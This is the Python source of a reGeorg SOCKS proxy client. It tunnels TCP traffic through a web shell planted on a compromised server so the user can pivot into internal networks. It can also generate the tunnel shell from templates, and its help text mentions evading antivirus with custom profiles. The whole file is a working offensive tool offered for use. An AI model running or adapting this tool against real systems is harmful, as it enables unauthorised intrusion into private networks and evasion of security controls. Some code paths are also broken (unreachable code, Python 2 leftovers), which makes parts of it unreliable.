reGeorgSocksProxy.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os
import logging
import argparse
import urllib3
from threading import Thread
from urllib.parse import urlparse
from socket import *
from time import sleep
import struct

# Default profile vars, this will be used if no profile file is provided

profile = {
"SESSIONVAR_NAME": "simons-session",
"CMD_CONNECT": "plus",
"CMD_DISCONNECT": "like",
"CMD_FORWARD": "review",
"CMD_READ": "link",
"CMD_GET_PARAM": "option",
"CMD_GET_TARGET": "source",
"CMD_GET_PORT": "id",

"RESP_HEADER_CODE": "X-RC",
"RESP_HEADER_MESSAGE": "X-MSG",
"RESP_CODE_OK": "AYE",
"RESP_CODE_FAIL": "OEFT",

"BASICCHECKSTRING": "Good Morning Simon!"
}

# Constants
SOCKTIMEOUT = 5
RESENDTIMEOUT = 300
SOCKS4VERSION = 4
SOCKS5VERSION = 5
SOCKS5METHODNOAUTH = 0
SOCKS5ADDRTYPEIPV4 = 1
SOCKS5ADDRTYPEDOMAINNAME = 3
SOCKS5ADDRTYPEIPV6 = 4

SOCKS4CMDCONNECT = 1
SOCKS4NULLSTUB = 0
SOCKS4GRANTED = 90
SOCKS4REJECTED = 91

SOCKS5CMDCONNECT = 1
SOCKS5CMDBIND = 2
SOCKS5CMDUDP = 3

#METHOD = b"\x00"
SOCKS5SUCCESS = 0
SOCK5FAIL = 1
NETWORKFAIL = "\x02"
HOSTFAIL = "\x04"
SOCKS5REFUSED = 5
TTLEXPIRED = "\x06"
UNSUPPORTCMD = "\x07"
ADDRTYPEUNSPPORT = "\x08"
UNASSIGNED = "\x09"

# Globals
READBUFSIZE = 1024

# Logging
RESET_SEQ = "\033[0m"
COLOR_SEQ = "\033[1;%dm"
BOLD_SEQ = "\033[1m"

BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8)

LEVEL = {"INFO": logging.INFO, "DEBUG": logging.DEBUG, }

logLevel = "INFO"

COLORS = {
    'WARNING': YELLOW,
    'INFO': WHITE,
    'DEBUG': BLUE,
    'CRITICAL': YELLOW,
    'ERROR': RED,
    'RED': RED,
    'GREEN': GREEN,
    'YELLOW': YELLOW,
    'BLUE': BLUE,
    'MAGENTA': MAGENTA,
    'CYAN': CYAN,
    'WHITE': WHITE,
}


def formatter_message(message, use_color=True):
    if use_color:
        message = message.replace("$RESET", RESET_SEQ).replace("$BOLD", BOLD_SEQ)
    else:
        message = message.replace("$RESET", "").replace("$BOLD", "")
    return message


class ColoredFormatter(logging.Formatter):
    def __init__(self, msg, use_color=True):
        logging.Formatter.__init__(self, msg)
        self.use_color = use_color

    def format(self, record):
        levelname = record.levelname
        if self.use_color and levelname in COLORS:
            levelname_color = COLOR_SEQ % (30 + COLORS[levelname]) + levelname + RESET_SEQ
            record.levelname = levelname_color
        return logging.Formatter.format(self, record)


class ColoredLogger(logging.Logger):
    def __init__(self, name):
        FORMAT = "[$BOLD%(levelname)-18s$RESET]  %(message)s"
        COLOR_FORMAT = formatter_message(FORMAT, True)
        logging.Logger.__init__(self, name, logLevel)
        if (name == "transfer"):
            COLOR_FORMAT = "\x1b[80D\x1b[1A\x1b[K%s" % COLOR_FORMAT
        color_formatter = ColoredFormatter(COLOR_FORMAT)

        console = logging.StreamHandler()
        console.setFormatter(color_formatter)

        self.addHandler(console)


logging.setLoggerClass(ColoredLogger)
log = logging.getLogger(__name__)
transferLog = logging.getLogger("transfer")


class SocksCmdNotImplemented(Exception):
    def __init__(self, message):
        self.message = message
        super().__init__(self.message)
        
    def __str__(self):
        if self.message:
            return f"{self.message}"
        return "Socks command not implemented (yet)."


class SocksProtocolNotImplemented(Exception):
    def __init__(self, message):
        self.message = message
        super().__init__(self.message)
        
    def __str__(self):
        if self.message:
            return f"{self.message}"
        return "Socks protocol not implemented (yet)."


class RemoteConnectionFailed(Exception):
    def __init__(self, message):
        self.message = message
        super().__init__(self.message)

    def __str__(self):
        if self.message:
            return f"{self.message}"
        return "Remote connection failed"
    

class session(Thread):
    def __init__(self, pSocket, connectString):
        Thread.__init__(self)
        self.pSocket = pSocket
        self.connectString = connectString
        o = urlparse(connectString)
        try:
            self.httpPort = o.port
        except:
            if o.scheme == "https":
                self.httpPort = 443
            else:
                self.httpPort = 80
        self.httpScheme = o.scheme
        self.httpHost = o.netloc.split(":")[0]
        self.httpPath = o.path
        self.cookie = None
        if o.scheme == "http":
            self.httpScheme = urllib3.HTTPConnectionPool
        else:
            self.httpScheme = urllib3.HTTPSConnectionPool
        log.debug("session.__init__() completed")


    def parseSocks5(self, sock):
        log.debug("SocksVersion5 detected")
        nmethods = sock.recv(1)
        (nmethods,) = struct.unpack("!B", nmethods)
        methods = []
        # Collecting all the auth methods from the client, going to discard them for now.
        for i in range(nmethods):
            methods.append(ord(sock.recv(1)))
        
        sock.sendall(struct.pack("!BB", SOCKS5VERSION, SOCKS5METHODNOAUTH))
        ver, cmd, _, atyp = struct.unpack("!BBBB", sock.recv(4))
        
        target = None
        targetPort = None
        if atyp == SOCKS5ADDRTYPEIPV4:  # IPv4
            log.debug(f"parseSocks5(): Incomming target is IPv4")
            target = sock.recv(4)
            targetPort = sock.recv(2)   
            target = ".".join([str(i) for i in target])
        elif atyp == SOCKS5ADDRTYPEDOMAINNAME:  # Hostname
            raise Exception
            targetLen = ord(sock.recv(1))  # hostname length (1 byte)
            target = sock.recv(targetLen)
            targetPort = sock.recv(2)
            target = ".".join([str(i) for i in target])
        elif atyp == SOCKS5ADDRTYPEIPV6:  # IPv6
            raise Exception
            target = sock.recv(16)
            targetPort = sock.recv(2)
            tmp_addr = []
            for i in xrange(len(target) / 2):
                tmp_addr.append(unichr(ord(target[2 * i]) * 256 + ord(target[2 * i + 1])))
            target = ":".join(tmp_addr)
        targetPort = int.from_bytes(targetPort, "big")
        log.debug(f"parseSocks5(): Target is {target}:{targetPort}")

        if cmd == SOCKS5CMDCONNECT:
            serverIp = target
            try:
                serverIp = gethostbyname(target)
            except:
                log.error(f"session.parseSocks5(): {ex.message}")
            serverIp = inet_aton(serverIp)
            self.cookie = self.setupRemoteSession(target, targetPort)

            serverIp = struct.unpack("!I", serverIp)[0]
             
            if self.cookie:
                reply = struct.pack("!BBBBIH", SOCKS5VERSION, SOCKS5SUCCESS, 0, 1, serverIp, targetPort)
                sock.sendall(reply)
                return True
            else:
                reply = struct.pack("!BBBBIH", SOCKS5VERSION, SOCKS5REFUSED, 0, 1, serverIp, targetPort)
                sock.sendall(reply)
                raise RemoteConnectionFailed("[%s:%d] Remote failed" % (target, targetPort))

        elif cmd == SOCKS5CMDBIND:
            raise SocksCmdNotImplemented("Socks5 - BIND not implemented")
        elif cmd == SOCKS5CMDUDP:
            raise SocksCmdNotImplemented("Socks5 - UDP not implemented")
            
        raise SocksCmdNotImplemented("Socks5 - Unknown CMD")

    def parseSocks4(self, sock):
        log.debug("SocksVersion4 detected")
        (cmd, ) = struct.unpack("!B", sock.recv(1))
        if cmd == SOCKS4CMDCONNECT:  # Connect            
            targetPort = int.from_bytes(sock.recv(2), "big")  
            target = sock.recv(4)
            sock.recv(1)
            target = ".".join([str(i) for i in target])
            log.debug(f"session.parseSocks4: Requesting connection to {target}:{targetPort}")
            serverIp = target
            try:
                serverIp = gethostbyname(target)
            except Exception as ex:
                log.error(f"session.parseSocks4(): {ex.message}")
            serverIp = inet_aton(serverIp)
            serverIp = struct.unpack("!I", serverIp)[0]
            
            
            self.cookie = self.setupRemoteSession(target, targetPort)
            if self.cookie:
                reply = struct.pack("!BBIH", SOCKS4NULLSTUB, SOCKS4GRANTED, serverIp, targetPort)
                sock.sendall(reply)
                #sock.sendall(b"\x00\x5A" + serverIp + targetPort.to_bytes(2, "big"))
                return True
            else:
                reply = struct.pack("!BBIH", SOCKS4NULLSTUB, SOCKS4REJECTED, serverIp, targetPort)
                sock.sendall(reply)
                #sock.sendall(b"\x00" + b"\x5B" + serverIp + targetPort.to_bytes(2, "big"))
                raise RemoteConnectionFailed("Remote connection failed")
        else:
            raise SocksProtocolNotImplemented("Socks4 - Command [%d] Not implemented" % ord(cmd))

    def handleSocks(self, sock):
        # This is where we setup the socks connection
        (ver, ) = struct.unpack("!B", sock.recv(1))
        if ver == SOCKS5VERSION:
            return self.parseSocks5(sock)
        elif ver == SOCKS4VERSION:
            return self.parseSocks4(sock)
        log.debug("session.handleSocks(): this sure does not look like a known socks version?!")
        

    def setupRemoteSession(self, target, port):
        self.target = target
        self.port = port
        cookie = None
        conn = self.httpScheme(host=self.httpHost, port=self.httpPort)
        response = conn.urlopen('POST', 
                f"{self.connectString}?{profile['CMD_GET_PARAM']}={profile['CMD_CONNECT']}&{profile['CMD_GET_TARGET']}={target}&{profile['CMD_GET_PORT']}={port}", 
                body="")
        if response.status == 200:
            status = response.getheader(profile["RESP_HEADER_CODE"])
            if status == profile["RESP_CODE_OK"]:
                cookie = response.getheader("set-cookie")
                log.info(f"session.setupRemoteSession():[{self.target}:{self.port}] HTTP [200]: cookie [{cookie}]")
            else:
                if response.getheader(profile["RESP_HEADER_MESSAGE"]) is not None:
                    log.error(f"session.setupRemoteSession(): {response.getheader(profile['RESP_HEADER_MESSAGE'])}")
        else:
            log.error(f"session.setupRemoteSession(): RemoteError [{self.target}:{self.port}]: {response.data}")
        conn.close()
        return cookie


    def closeRemoteSession(self):
        conn = self.httpScheme(host=self.httpHost, port=self.httpPort)
        response = conn.request("POST", f"{self.httpPath}?{profile['CMD_GET_PARAM']}={profile['CMD_DISCONNECT']}", "")
        if response.status == 200:
            log.info("session.closeRemoteSession():[%s:%d] Connection Terminated" % (self.target, self.port))
        conn.close()


    def reader(self):
        conn = urllib3.PoolManager()
        while True:
            try:
                if not self.pSocket:
                    break
                data = ""
                headers = {"Cookie": self.cookie, "Connection": "Keep-Alive"}
                
                log.debug(f"session.reader(): {self.connectString}?{profile['CMD_GET_PARAM']}={profile['CMD_READ']}")
                response = conn.urlopen('POST', f"{self.connectString}?{profile['CMD_GET_PARAM']}={profile['CMD_READ']}", headers=headers, body="")
                data = None
                if response.status == 200:
                    status = response.getheader(profile["RESP_HEADER_CODE"])
                    log.debug(f"session.reader(): reGeorg status [{status}]")
                    if status == profile["RESP_CODE_OK"]:
                        if response.getheader("set-cookie") is not None:
                            cookie = response.getheader("set-cookie")
                            log.debug(f"session.reader(): reGeorg status [{cookie}]")
                        data = response.data
                        
                        # Yes I know this is horrible, but its a quick fix to issues with tomcat 5.x bugs that have been reported, will find a propper fix laters
                        try:
                            if response.getheader("server").find("Apache-Coyote/1.1") > 0:
                                data = data[:len(data) - 1]
                        except:
                            pass
                        if data is None:
                            log.debug(f"session.reader(): reGeorg data is None")
                            data = ""
                        log.debug(f"session.reader(): reGeorg data [{data}]")
                    else:
                        data = None
                        log.error("session.reader():[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target, self.port, response.status, status, response.getheader(profile["RESP_HEADER_MESSAGE"])))
                else:
                    log.error("session.reader():[%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status))
                if data is None:
                    # Remote socket closed
                    break
                if len(data) == 0:
                    sleep(0.1)
                    continue
                transferLog.info("[%s:%d] <<<< [%d]" % (self.target, self.port, len(data)))
                self.pSocket.send(data)
            except Exception as ex:
                raise ex
        self.closeRemoteSession()
        log.debug("session.reader():[%s:%d] Closing localsocket" % (self.target, self.port))
        try:
            self.pSocket.close()
        except:
            log.debug("session.reader():[%s:%d] Localsocket already closed" % (self.target, self.port))

    def writer(self):
        global READBUFSIZE
        conn = urllib3.PoolManager()
        while True:
            try:
                self.pSocket.settimeout(1)
                data = self.pSocket.recv(READBUFSIZE)
                if not data:
                    break
                headers = {"Cookie": self.cookie, "Content-Type": "application/octet-stream", "Connection": "Keep-Alive"}
                response = conn.urlopen('POST', f"{self.connectString}?{profile['CMD_GET_PARAM']}={profile['CMD_FORWARD']}", headers=headers, body=data)
                if response.status == 200:
                    status = response.getheader(profile["RESP_HEADER_CODE"])
                    log.debug(f"session.writer(): status {status}")
                    if status == profile["RESP_CODE_OK"]:
                        log.debug("session.writer():Got set-cookie")
                        if response.getheader("set-cookie") is not None:
                            self.cookie = response.getheader("set-cookie")
                    else:
                        log.error("session.writer():[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target, self.port, response.status, status, response.getheader(profile["RESP_HEADER_MESSAGE"])))
                        break
                else:
                    log.error("session.writer():[%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status))
                    break
                transferLog.info("[%s:%d] >>>> [%d]" % (self.target, self.port, len(data)))
            except timeout:
                continue
            except OSError:
                log.info("session.writer(): Local socket appears to have closed.")
                break
            except Exception as ex:
                raise ex
                break
        self.closeRemoteSession()
        log.debug("session.writer():Closing localsocket")
        try:
            self.pSocket.close()
        except:
            log.debug("session.writer():Localsocket already closed")
        self.pSocket = None

    def run(self):
        try:
            log.debug("session.run(): before handle socks")
            if self.handleSocks(self.pSocket):
                log.debug("session.run(): Starting reader")
                r = Thread(target=self.reader, args=())
                r.start()
                log.debug("session.run(): Starting writer")
                w = Thread(target=self.writer, args=())
                w.start()
                r.join()
                w.join()
        except SocksCmdNotImplemented as si:
            log.error(si.message)
            self.pSocket.close()
        except SocksProtocolNotImplemented as spi:
            log.error(spi.message)
            self.pSocket.close()
        except Exception as e:
            log.error(e)
            
            self.closeRemoteSession()
            self.pSocket.close()


def askGeorg(connectString):
    connectString = connectString
    ua = {'user-agent': 'Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0'}
    o = urlparse(connectString)
    
    httpHost = o.netloc.split(":")[0]
    httpPort = None
    try:
        httpPort = int(o.netloc.split(":")[1])
    except:
        pass
    httpPath = o.path
    
    if o.scheme == "https":
        httpScheme = urllib3.HTTPSConnectionPool
        if httpPort == None:
            httpPort = 443
    else:
        httpScheme = urllib3.HTTPConnectionPool
        if httpPort == None:
            httpPort = 80

    try:
        conn = httpScheme(host=httpHost, port=httpPort)
 
        response = conn.request("GET", httpPath, headers=ua)

        if response.status == 200:
            if profile['BASICCHECKSTRING']  == response.data.decode("ascii"):
                log.info(profile['BASICCHECKSTRING'])
                return True
        else:
            print(response.data.decode("ascii"))
        conn.close()
    except Exception as ex:
        log.error(f"askGeorg(): {ex}")
        raise ex
    return False


def generateServlet(template):
    filename, fileex = os.path.splitext(os.path.basename(template))
    template = open(template).read()
    for k in profile:
        if template.find(f"[[{k}]]") > -1:
            log.info(f"Found profile marker [{k}], replacing with {profile[k]}")
            template = template.replace(f"[[{k}]]", profile[k])
            
    open(f"gen_{filename}{fileex}","w").write(template)
    

if __name__ == '__main__':
    print("""\033[1m
    \033[1;33m
                    
 _____    ______   ______   ______   _____   _____    ______         ______   ____    
|     |  |   ___| |   ___| |   ___| /     \ |     |  |   ___|  ___  |      > |    \   
|     \  |   ___| |   |  | |   ___| |     | |     \  |   |  | |___| |     <  |     \  
|__|\__\ |______| |______| |______| \_____/ |__|\__\ |______|       |______> |__|\__\ 

                                             ... every office needs a tool like Georg

  willem.mouton@gmail.com / @_w_m__
  \033[0m
   """)
   
    log.setLevel(logging.DEBUG)
    parser = argparse.ArgumentParser(description='Socks server for reGeorg HTTP(s) tunneller')
    parser.add_argument("-l", "--listen-on", metavar="", help="The default listening address", default="127.0.0.1")
    parser.add_argument("-p", "--listen-port", metavar="", help="The default listening port", type=int, default="8888")
    parser.add_argument("-r", "--read-buff", metavar="", help="Local read buffer, max data to be sent per POST", type=int, default="1024")
    parser.add_argument("-u", "--url", metavar="", help="The url containing the tunnel script")
    parser.add_argument("-v", "--verbose", metavar="", help="Verbose output[INFO|DEBUG]", default="INFO")
    parser.add_argument("-f", "--profile", metavar="", help="Profile file containing, create one else you are going be in AV hell", default="")
    parser.add_argument("-g", "--generate", metavar="", help="Template to generate shell from")

    args = parser.parse_args()
    if (args.verbose in LEVEL):
        log.setLevel(LEVEL[args.verbose])
        log.info("Log Level set to [%s]" % args.verbose)

    if args.generate:
        log.info(f"Generating tunnel servlet using template [{args.generate}]")
        if args.profile:
            pass #reload config defaults here
        else:
            log.warning("No profile supplied, you are going into battle wearing your underpants here?!")
        generateServlet(args.generate)
        exit()

    if not args.url:
        log.info("Georg needs to know where to go?")
        exit()
        
    log.info("Starting socks server [%s:%d], tunnel at [%s]" % (args.listen_on, args.listen_port, args.url))
    log.info("Checking if Georg is ready")
    if not askGeorg(args.url):
        log.info("Georg is not ready, please check url")
        exit()
    READBUFSIZE = args.read_buff
    servSock = socket(AF_INET, SOCK_STREAM)
    servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    servSock.bind((args.listen_on, args.listen_port))
    servSock.listen(1000)
    while True:
        try:
            sock, addr_info = servSock.accept()
            sock.settimeout(SOCKTIMEOUT)
            log.debug("__main__(): Incomming connection")
            session(sock, args.url).start()
        except KeyboardInterrupt as ex:
            break
        except Exception as e:
            log.error(e)
    servSock.close()